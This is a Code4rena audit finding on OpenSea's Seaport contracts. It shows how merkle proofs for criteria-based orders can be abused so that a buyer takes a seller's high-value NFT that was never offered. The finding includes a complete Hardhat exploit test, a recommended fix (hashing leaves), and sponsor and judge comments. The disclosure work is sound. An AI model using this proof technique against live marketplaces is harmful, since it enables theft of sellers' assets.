Buyer can take from a seller an item they had not offered

[code423n4]

Lines of code

https://github.com/ProjectOpenSea/seaport/blob/878121af65be408462f3eae04ab81018b4e199da/contracts/lib/CriteriaResolution.sol#L157-L161

Vulnerability details

Impact

Orders in Seaport can involve "criteria-based items", in which case it isn't one specific item that can fulfill the order but any one of a set of items. This set of items is the "criteria", and it is specified in the order as the merkle root of a merkle tree that encodes the set (identifierOrCriteria). At the time of fulfillment, a particular item is specified along with a merkle proof to validate that it is a member of the set (CriteriaResolver).

The soundness of this mechanism relies on the inability to produce a merkle proof for an item that is not in that set. However, this assumption fails in two ways.

First, consider that the prefixes of valid merkle proofs are themselves valid merkle proofs for the inner nodes of the tree. As a result, the set of items that satisfy the criteria are not only the leaves but also the inner nodes, which may be valid item identifiers. This on its own is enough to cause unintended effects for the offerer, as the set of items offered may be larger than intended by them. But the second way in which the assumption fails is compounded by the potential for information asymmetry.

Consider that the identifier of one of the items in the set could itself be the root of a second merkle tree. There will be a valid proof for that item, but additionally the concatenation of that proof with any proof for the second tree will itself be a valid proof for the merkle root of the criteria. In that case, the set of items that satisfy the criteria is again larger than intended and includes all the items in the second merkle tree. The information asymmetry lies in the fact that an identifier is not known to be a merkle root until the leaves of the tree are disclosed.

This can be exploited by an attacker who publishes a collection of items some of whose identifiers are merkle roots for other items. For example, imagine a collection with a high-valued item A and a low-valued item B. An offerer that owns both items publishes an order to offer to exchange B for a relatively small consideration. The attacker knows that B is in fact the merkle root for the set {A, X} (where X may be a random salt) and can thus produce a proof that A satisfies criteria B. The attacker can then fulfill the order and take item A, against the intent of the offerer, and presumably for a much lower consideration than what would be the market value of the item.

Proof of Concept

Adapted from one of the tests in the Seaport test suite (Criteria-based offer item ERC1155 (standard)).

it("Criteria-based offer item ERC1155 - EXPLOIT", async () => {
  const highValueId = randomBN();

  // Using a secret salt as sibling we generate a merkle root.
  const secretSalt = randomBN();
  const { root: highValueRoot, proofs } = merkleTree([highValueId, secretSalt]);

  // This merkle root is used as the id for another item in the collection.
  const lowValueId = toBN(highValueRoot);

  await mint1155(seller, 1, testERC1155, highValueId, 1);
  await mint1155(seller, 1, testERC1155, lowValueId, 1);

  expect(await testERC1155.balanceOf(seller.address, lowValueId)).to.equal(1);
  expect(await testERC1155.balanceOf(seller.address, highValueId)).to.equal(1);

  await set1155ApprovalForAll(seller, marketplaceContract.address, true);

  // Seller offers the low value item.
  const offer = [
    getTestItem1155WithCriteria(merkleTree([lowValueId]).root),
  ];

  const consideration = [
    getItemETH(parseEther("1"), parseEther("1"), seller.address),
  ];

  const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    0, // FULL_OPEN
  );

  // Buyer submits criteria that corresponds to high value item.
  const criteriaResolvers = [
    buildResolver(0, 0, 0, highValueId, proofs[highValueId.toString()]),
  ];

  await withBalanceChecks([order], 0, criteriaResolvers, async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, criteriaResolvers, toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      criteriaResolvers
    );

    // The high value item has been transferred from the seller to the buyer.
    expect(await testERC1155.balanceOf(seller.address, lowValueId)).to.equal(1);
    expect(await testERC1155.balanceOf(seller.address, highValueId)).to.equal(0);
    expect(await testERC1155.balanceOf(buyer.address, highValueId)).to.equal(1);

    return receipt;
  });
});

Recommended Mitigation Steps

In order to prevent this issue, there should be no overlap between leaves and inner nodes of the merkle tree used for criteria-based items.

A simple way to achieve this is to make the leaves of the tree not the item identifiers themselves (which are arbitrary values and may be merkle roots), but the keccak256 hashes of the identifiers. This ensures there is no overlap (assuming collision resistance), since inner nodes are known to be hashes of two words (the two children) and leaves will be known to be the hash of a single word.

The process of fulfilling an order would be the same: an item identifier is specified along with a merkle proof, but the merkle proof will not prove membership of the identifier in the tree, instead it will prove membership of the hash of the identifier in the tree.

[0age]

The title makes this sound worse than it is, as it's only under very specific and unusual circumstances that this would be possible (for instance, any tokenId between 0 and 100k would be immune to this), but it is a valid finding and we have a PR implementing a fix prepared

[HardlyDifficult]

Dupe of #168